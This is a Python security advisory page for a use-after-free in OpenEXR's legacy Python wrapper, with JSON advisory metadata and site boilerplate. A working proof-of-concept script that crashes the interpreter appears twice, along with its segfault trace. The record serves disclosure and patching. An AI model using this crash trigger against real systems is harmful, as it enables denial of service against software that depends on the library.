PYSEC-2026-2844
Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:05Summary
There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.
This bug was found with ZeroPath.
Details
The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387
https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286
PoC
import OpenEXR, Imath
# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any_small.exr"
# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong_AsLong => UAF.
class FreshInt(int):
def __new__(cls, v):
return int.__new__(cls, v)
def __del__(self):
# stir the heap to make the UAF obvious under PYTHONMALLOC=debug
_ = bytearray(1_000_000)
class PixelTypeProxy:
@property
def v(self):
return FreshInt(Imath.PixelType.FLOAT) # any small value is fine
f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel_type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel_type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")
running
PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
About to trigger UAF...
Fatal Python error: Segmentation fault
Current thread 0x00000001f209a140 (most recent call first):
File "/private/tmp/i/pt.py", line 24 in <module>
Current thread's C stack trace (most recent call first):
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _Py_DumpStack+0x44 [0x1058c00f8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_fatal_error+0x160 [0x1058d2e00]
Binary file "/usr/lib/system/libsystem_platform.dylib", at _sigtramp+0x38 [0x1841796a4]
Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject_Vectorcall+0x58 [0x1056f5044]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval_EvalCode+0xf8 [0x105827130]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run_mod+0xac [0x1058a2b60]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun_file+0xa4 [0x1058a123c]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_AnyFileObject+0x50 [0x1058a0424]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file_obj+0xa4 [0x1058cfcd8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file+0x48 [0x1058cfa20]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_RunMain+0x354 [0x1058cef60]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_main+0xe8 [0x1058cf3f8]
Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_BytesMain+0x28 [0x1058cf494]
Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]
Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
Segmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
Impact
Completely depends on the context. Typical memory stuff related to UAFs.
| Name | purl | openexr | pkg:pypi/openexr |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "openexr",
"purl": "pkg:pypi/openexr"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.5"
},
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.6"
},
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.3",
"3.2.4",
"3.3.0",
"3.3.1",
"3.3.2",
"3.3.3",
"3.3.4",
"3.3.5",
"3.4.0",
"3.4.1",
"3.4.2"
]
}
],
"aliases": [
"CVE-2025-64183",
"GHSA-57cw-j6vp-2p9m"
],
"details": "### Summary\nThere is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nThe legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286\n\n### PoC\n\n```py\nimport OpenEXR, Imath\n\n# Any small EXR will do - use one from OpenEXR test images or any project file\npath = \"any_small.exr\"\n\n# Property returns a fresh temporary int subclass, so the buggy helper\n# decrefs it to zero before passing it to PyLong_AsLong =\u003e UAF.\nclass FreshInt(int):\n def __new__(cls, v):\n return int.__new__(cls, v)\n def __del__(self):\n # stir the heap to make the UAF obvious under PYTHONMALLOC=debug\n _ = bytearray(1_000_000)\n\nclass PixelTypeProxy:\n @property\n def v(self):\n return FreshInt(Imath.PixelType.FLOAT) # any small value is fine\n\nf = OpenEXR.InputFile(path)\n# channel() forces the wrapper to read pixel_type.v using the buggy helper\n# which returns a dangling pointer\nprint(\"About to trigger UAF...\")\nf.channel(\"R\", pixel_type=PixelTypeProxy())\nprint(\"If you get here without a crash, try again with AddressSanitizer.\")\n```\nrunning\n\n```shell\nPYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n```\nAbout to trigger UAF...\nFatal Python error: Segmentation fault\n\nCurrent thread 0x00000001f209a140 (most recent call first):\n File \"/private/tmp/i/pt.py\", line 24 in \u003cmodule\u003e\n\nCurrent thread\u0027s C stack trace (most recent call first):\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _Py_DumpStack+0x44 [0x1058c00f8]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_fatal_error+0x160 [0x1058d2e00]\n Binary file \"/usr/lib/system/libsystem_platform.dylib\", at _sigtramp+0x38 [0x1841796a4]\n Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyObject_Vectorcall+0x58 [0x1056f5044]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyEval_EvalCode+0xf8 [0x105827130]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at run_mod+0xac [0x1058a2b60]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pyrun_file+0xa4 [0x1058a123c]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_AnyFileObject+0x50 [0x1058a0424]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file_obj+0xa4 [0x1058cfcd8]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file+0x48 [0x1058cfa20]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_RunMain+0x354 [0x1058cef60]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_main+0xe8 [0x1058cf3f8]\n Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_BytesMain+0x28 [0x1058cf494]\n Binary file \"/usr/lib/dyld\", at start+0x17bc [0x183d9eb98]\n\nExtension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)\nSegmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n### Impact\n\nCompletely depends on the context. Typical memory stuff related to UAFs.",
"id": "PYSEC-2026-2844",
"modified": "2026-07-13T16:05:25.125374Z",
"published": "2026-07-13T14:36:48.484816Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-57cw-j6vp-2p9m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64183"
},
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/openexr"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-57cw-j6vp-2p9m"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "OpenEXR has use after free in PyObject_StealAttrString"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.